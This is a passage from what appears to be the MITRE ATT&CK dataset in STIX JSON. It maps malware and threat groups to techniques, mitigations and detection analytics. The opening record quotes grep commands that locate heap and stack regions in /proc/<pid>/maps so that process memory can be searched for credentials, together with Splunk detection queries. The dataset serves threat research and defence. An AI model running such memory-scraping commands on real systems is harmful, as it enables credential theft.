searched for credentials.(Citation: atomic-red proc file system)(Citation: mimipenguin proc file)\n\ngrep -E \"^[0-9a-f-]* r\" /proc/\"$pid\"/maps | grep -E 'heap|stack' | cut -d' ' -f 1\n\ngrep -E \"^[0-9a-f-]* r\" /proc/\"$PID\"/maps | grep heap | cut -d' ' -f 1\n\nAnalytic 1 - Unexpected access to /proc filesystem.\n\n index=os sourcetype=\"linux_audit\" command IN (\"grep -E '^[0-9a-f-]* r' /proc/*/maps\", \"cat /proc/*/maps\", \"awk '{print $1}' /proc/*/maps\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66819f02-7a22-4f21-8e4f-df24969e5567","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}],"modified":"2020-03-16T15:53:20.483Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can list running processes.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6684ebb4-cab6-4443-a539-f71bdddbf15c","created":"2022-03-24T11:46:08.716Z","x_mitre_version":"1.0","external_references":[{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DRATzarus](https://attack.mitre.org/software/S0694) can deploy additional tools onto an infected machine.(Citation: ClearSky Lazarus Aug 2020)","modified":"2022-04-12T19:50:55.440Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--668b180d-a227-4585-98ee-55dddd6eea92","created":"2024-03-15T20:37:09.882Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"},{"source_name":"Metabase Q Mispadu Trojan 2023","description":"Garcia, F., Regalado, D. (2023, March 7). Inside Mispadu massive infection campaign in LATAM. Retrieved March 15, 2024.","url":"https://www.metabaseq.com/mispadu-banking-trojan/"},{"source_name":"SCILabs URSA/Mispadu Evolution 2023","description":"SCILabs. (2023, May 23). Evolution of banking trojan URSA/Mispadu. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/evolution-of-banking-trojan-ursa-mispadu/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-15T20:37:54.872Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) can log keystrokes on the victim's machine.(Citation: ESET Security Mispadu Facebook Ads 2019)(Citation: Metabase Q Mispadu Trojan 2023)(Citation: SCILabs URSA/Mispadu Evolution 2023)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--668b73fd-0b71-49a5-a756-5213c0bcf6d5","created":"2023-09-29T15:29:26.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:39:37.164Z","description":"Use signatures or heuristics to detect malicious LNK and subsequently downloaded files.","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--887274fc-2d63-4bdc-82f3-fae56d1d5fdc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--668f6de8-d442-4817-b97f-e3c8dbf6ca7c","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T20:41:16.747Z","description":"Monitor executed commands and arguments that may abuse AppleScript for execution. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalytic 1 - Look for unusual execution of AppleScript.\n\nsourcetype=macOS:Process\n| search process_name=\"osascript\"\n| eval suspicious_cmd=if(like(command_line, \"%-e%\") OR like(command_line, \"%path/to/script%\"), \"Yes\", \"No\")\n| where suspicious_cmd=\"Yes\" ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66932869-44bf-4422-b38c-69c9503d5db4","type":"relationship","created":"2020-01-14T17:23:25.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-14T17:23:25.291Z","relationship_type":"revoked-by","source_ref":"attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76","target_ref":"attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6693651e-b3bf-4a95-802f-f3f2f4fc810c","created":"2022-04-20T04:04:32.884Z","x_mitre_version":"0.1","external_references":[{"source_name":"versprite xpc vpn","url":"https://versprite.com/blog/exploiting-vyprvpn-for-macos/","description":"VerSprite. (2018, January 24). Exploiting VyprVPN for MacOS. Retrieved April 20, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for processes making abnormal calls to higher privileged processes, such as a user application connecting to a VPN service.(Citation: versprite xpc vpn)","modified":"2022-04-20T22:15:15.967Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66a13868-e416-49d4-85ad-318f93f91a29","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-01-17T19:43:39.460Z","description":"[FruitFly](https://attack.mitre.org/software/S0277) will delete files on the system.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--4a98e44a-bd52-461e-af1e-a4457de87a36","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--66a14eeb-a6a0-4614-8224-7f238b3a83da","created":"2020-05-05T20:54:53.098Z","x_mitre_version":"1.0","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BlackTech](https://attack.mitre.org/groups/G0098) has exploited multiple vulnerabilities for execution, including Microsoft Office vulnerabilities CVE-2012-0158, CVE-2014-6352, CVE-2017-0199, and Adobe Flash CVE-2015-5119.(Citation: TrendMicro BlackTech June 2017)","modified":"2022-04-06T13:21:42.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66a3ab46-abcb-4234-a786-638044cfc50e","type":"relationship","created":"2017-05-31T21:33:27.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar","description":"Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017.","source_name":"Cylance Shell Crew Feb 2017"}],"modified":"2019-03-22T20:09:34.825Z","description":"(Citation: Cylance Shell Crew Feb 2017)","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"malware--91000a8a-58cc-4aba-9ad0-993ad6302b86","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66a73f1e-dfb8-4509-be62-787c9a14c221","type":"relationship","created":"2021-02-10T19:57:38.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Ebury Oct 2017","url":"https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/","description":"Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."}],"modified":"2021-03-15T19:12:18.896Z","description":"(Citation: ESET Ebury Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a","target_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--66a7d5ae-7975-448d-ae40-b0786a3a8cd6","created":"2022-10-06T17:29:47.505Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T17:29:47.505Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used [zwShell](https://attack.mitre.org/software/S0350) to establish full remote control of the connected machine and manipulate the Registry.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66addef3-8b7a-4571-b919-2b70f5991990","type":"relationship","created":"2021-06-29T15:19:53.159Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-29T15:19:53.159Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can enumerate processes on a target system.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66b026b6-af1e-47a6-9c3d-b853e2130b68","type":"relationship","created":"2019-01-29T19:55:48.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf","source_name":"Kaspersky Turla Aug 2014"}],"modified":"2019-07-26T16:10:43.108Z","description":"[Epic](https://attack.mitre.org/software/S0091) collects the OS version, hardware information, computer name, available system memory status, disk space information, and system and user language settings.(Citation: Kaspersky Turla Aug 2014)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66b5808f-b124-4736-bb6b-289503d07fa2","type":"relationship","created":"2021-06-08T13:23:15.113Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."},{"source_name":"NCC Group Fivehands June 2021","url":"https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/","description":"Matthews, M. and Backhouse, W. (2021, June 15). Handy guide to a new Fivehands ransomware variant. Retrieved June 24, 2021."}],"modified":"2021-10-18T17:52:32.995Z","description":"[FIVEHANDS](https://attack.mitre.org/software/S0618) has the ability to enumerate files on a compromised host in order to encrypt files with specific extensions.(Citation: CISA AR21-126A FIVEHANDS May 2021)(Citation: NCC Group Fivehands June 2021)","relationship_type":"uses","source_ref":"malware--f464354c-7103-47c6-969b-8766f0157ed2","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--66ba3524-d395-421b-8564-21c9b06ee38c","created":"2024-06-06T20:02:16.457Z","revoked":false,"external_references":[{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-06T20:02:16.457Z","description":"(Citation: Huntress INC Ransom Group August 2023)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--66bac3e2-3a04-4ad0-8f38-fa952e7289c6","created":"2022-10-11T16:38:15.376Z","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T16:38:15.376Z","description":"[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can use DNS tunneling for C2 communications.(Citation: SentinelOne Aoqin Dragon June 2022)","relationship_type":"uses","source_ref":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66bb45a4-fadf-4000-9055-90f9bb206b37","type":"relationship","created":"2020-03-20T01:56:53.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"},{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-20T17:34:12.557Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) can execute commands via an interactive command shell.(Citation: Palo Alto MoonWind March 2017) [MoonWind](https://attack.mitre.org/software/S0149) uses batch scripts for various purposes, including to restart and uninstall itself.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66bd7bd5-b53f-4791-a130-7278541f3fa7","type":"relationship","created":"2019-10-11T17:29:20.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureList Griffon May 2019","url":"https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/","description":"Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig “FIN7” continues its activities. Retrieved October 11, 2019."}],"modified":"2019-10-11T17:29:20.317Z","description":"[GRIFFON](https://attack.mitre.org/software/S0417) has used a reconnaissance module that can be used to retrieve information about a victim's computer, including the resolution of the workstation .(Citation: SecureList Griffon May 2019)","relationship_type":"uses","source_ref":"malware--04fc1842-f9e4-47cf-8cb8-5c61becad142","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66bec558-ff92-42ff-a8c1-5b47d071d606","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis INOCNATION","description":"Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.","url":"https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"}],"modified":"2020-03-17T01:30:41.514Z","description":"[Hi-Zor](https://attack.mitre.org/software/S0087) deletes its RAT installer file as it executes its DLL payload file.(Citation: Fidelis INOCNATION)","relationship_type":"uses","source_ref":"malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66c79e9f-7528-4a14-9525-866325b6abce","type":"relationship","created":"2021-05-25T15:58:53.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-10-15T23:10:53.913Z","description":"[CostaBricks](https://attack.mitre.org/software/S0614) can implement a custom-built virtual machine mechanism to obfuscate its code.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--5d342981-5194-41e7-b33f-8e91998d7d88","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66cadf3d-bfb7-4b75-a659-06b3cb1bbd37","type":"relationship","created":"2019-06-28T17:40:32.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyphort EvilBunny Dec 2014","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/","description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}],"modified":"2019-07-01T18:16:33.183Z","description":"[EvilBunny](https://attack.mitre.org/software/S0396) has exploited CVE-2011-4369, a vulnerability in the PRC component in Adobe Reader.(Citation: Cyphort EvilBunny Dec 2014)","relationship_type":"uses","source_ref":"malware--a8a778f5-0035-4870-bb25-53dc05029586","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66ce5052-08d8-4160-a8c9-f3e6b9e5cd1f","type":"relationship","created":"2020-06-18T17:27:09.388Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-29T15:22:59.269Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) has the ability to use hidden columns in Excel spreadsheets to store executable files or commands for VBA macros.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--66d0e438-b9d5-4532-812f-3b1a30702fce","created":"2022-08-16T19:53:21.683Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCSC GCHQ Small Sieve Jan 2022","description":"NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022.","url":"https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T15:43:11.153Z","description":"[Small Sieve](https://attack.mitre.org/software/S1035) can obtain the IP address of a victim host.(Citation: NCSC GCHQ Small Sieve Jan 2022)","relationship_type":"uses","source_ref":"malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--66d2bbd8-1a92-4a5a-80d1-4a11860c64f3","created":"2022-06-03T16:22:16.863Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used remote desktop sessions for lateral movement.(Citation: SecureWorks August 2019)","modified":"2022-06-03T16:22:16.863Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--66d42126-d337-4a00-ae35-d8af7203a6eb","created":"2020-05-01T14:48:36.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.524Z","description":"(Citation: FireEye APT41 Aug 